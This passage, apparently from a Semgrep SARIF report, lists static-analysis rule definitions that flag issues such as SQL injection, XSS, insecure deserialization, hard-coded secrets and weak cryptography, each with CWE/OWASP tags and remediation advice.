writev()."},"help":{"markdown":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2)\n","text":"os.pwritev() is only available on Python 3.3+ and is therefore not backwards compatible. Instead, use a combination of pwrite() and writev()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-os2-ok2","id":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","name":"python.lang.compatibility.python37.python37-compatibility-os2-ok2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-os2-ok2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"help":{"markdown":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated)\n - [https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA](https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA)\n","text":"Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","id":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","name":"java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Detected string concatenation with a non-literal variable in a go-pg ORM SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, do not use strings concatenated with user-controlled input. Instead, use parameterized statements."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","id":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","name":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"RDS instance accessible from the Internet detected."},"help":{"markdown":"RDS instance accessible from the Internet detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance#publicly_accessible)\n - [https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html#USER_VPC.Hiding)\n","text":"RDS instance accessible from the Internet detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.rds-public-access.rds-public-access","id":"terraform.lang.security.rds-public-access.rds-public-access","name":"terraform.lang.security.rds-public-access.rds-public-access","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.rds-public-access.rds-public-access"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or execute other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","id":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","name":"swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-evaluatejavascript-xss.swift-evaluate-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","id":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","name":"python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-jsonpickle-flask.tainted-jsonpickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Picatic API Key detected"},"help":{"markdown":"Picatic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Picatic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","id":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","name":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"help":{"markdown":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated)\n - [https://docs.python.org/3/library/ssl.html#ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket)\n","text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","id":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","name":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"help":{"markdown":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","id":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","name":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"help":{"markdown":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","id":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","name":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"help":{"markdown":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape","id":"ruby.lang.security.json-entity-escape.json-entity-escape","name":"ruby.lang.security.json-entity-escape.json-entity-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.json-entity-escape.json-entity-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"help":{"markdown":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","id":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","name":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.httpsconnection-detected.httpsconnection-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli)\n - [https://pypi.org/project/PyMySQL/#id4](https://pypi.org/project/PyMySQL/#id4)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli","id":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","name":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymysql-sqli.pymysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","id":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","name":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","id":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","name":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","id":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","name":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 